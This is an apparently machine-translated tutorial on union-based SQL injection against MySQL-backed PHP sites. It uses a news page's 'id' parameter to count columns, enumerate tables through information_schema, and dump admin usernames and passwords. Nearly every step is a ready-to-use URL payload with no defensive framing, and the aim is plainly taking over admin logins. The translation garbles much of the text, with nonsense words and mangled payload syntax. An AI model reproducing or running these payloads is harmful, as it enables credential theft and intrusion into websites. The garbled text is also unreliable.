SQL injection is a hacking action is performed in the client application by modifying the command
Existing SQL clien application memory and also the exploit technique in which a web application using the database for data storage.
Who needs to know before sqlinjection on mysql:
character: 'or
-
comments: / * or
-
information_schema for version: MySQL version 5.x, no support for mysql version 4.x
Step 1
look for the target
eg:
[site] / berita.php? id = 100
Add character 'at the end of the url or add characters "-" to see if there are any error messages.
example:
[site] / berita.php? id = 100 '
or
[site] / berita.php? id = -100
so an error message like the following (among many others):
Step 2
locate and count the number of tables that exist in the database ...
use the command:
order by
example:
[site] / berita.php? id = -100 + order + by +1- -
or
[site] / berita.php? id = -100 + order + by +1 / *
Please check it step by step (satupersatu) ...
eg:
[site] / berita.php? id = -100 + order + by +1- -
[site] / news
. php? id = -100 + order + by +2- -
[site] / berita.php? id = -100 + order + by +3- -
[site] / berita.php? id = -100 + order + by +4- -
so there is an error or missing error message ...
eg:
[site] / berita.php? id = -100 + order + by +9- -
means that we take is to become the number 8
[site] / berita.php? id = -100 + order + by +8- -
Step 3
to issue any number that appears use the union
because it was error to figure 9
then:
[site] / berita.php? id = -100 + union + select +1,2,3,4,5,6,7,8 -
ok is like that out number 5
use the version () or @ @ version to check which version of sql command input diapakai TSB that came out earlier in nagka
eg:
[site] / berita.php? id = -100 + union + select +1,2,3,4, version (), 6,7,8 -
or
[site] / berita.php? id = -100 + union + select +1,2,3,4, @ @ version,6,7,8 -
see the version is like version 4 left alone because in ver 4 we had to guess his own table column n imaginable on the web because they can not use command + information_schema From ..
for version 5 means you do not have to guess the lucky table n column as ver ver 5 4 because it can use the command From + information_schema ..
Step 4
to display the existing table in the web page that is included on the command table_name >>> figure out who had the command + from + information_schema.tables / * >>> inserted after the last digit
code:
[site] / berita.php? id = -100 + union + select +1,2,3,4, table_name, 6,7,8 + from + inf ormation_schema.tables--
is like a table that appears is "admin"
Step 5
to display all the contents
TSB is a command from the table group_concat (table_name) >>> included in the figures that came out earlier orders + from + information_schema.tables + where + table_schema = database () >>> DIMA
Sports after figures last
[site] / berita.php? id = -100 + union + select +1,2,3,4, group_concat (table_name),
6,7,8 + from + information_schema.tables + where + table_s chema = database () -
Step 6
command group_concat (column_name) >>> included in the figures that came out earlier
+ command + from + where + table_name information_schema.columns = 0xhexa -
dim >>>
axle
ukan after the last digit
[site] / berita.php? id = -
100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + where + + information_schema.columns table _name = 0xhexa -
at this stage you shall mengextrak word on the contents of that table into hexadecimal
by means of converting them
website which is used for conversion:
http://www.v3n0m.net/ascii.htm
examples of words that are wanted in the admin then the conversion will be 61646D696E
[site] / berita.php? id =-100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + where + + information_schema.columns table _name = 0x61646D696E -
Step 7
bring up what had been removed from the table by way of:
concat_ws command (0x3a, which would result column contents
issued) >>> included in the figures that came out earlier
command + from + (name derived table) >>> inserted after the last digit
example:
[site] / berita.php? id = -100 + union + select +1,2,3,4, concat_ws (0x3a, the results of the content column), 6,7,8 + from + (name derived table) -
example is the word that comes out id, username, password
example:
[site] / berita.php? id = -100 + union + select +1,2,3,4, concat_ws (0x3a, id, George E, password), 6,7,8 + from + admin -
Step 8
the last stage look for pages in the admin or login.
so many of my tutorials, may be useful
Jillur Rahman
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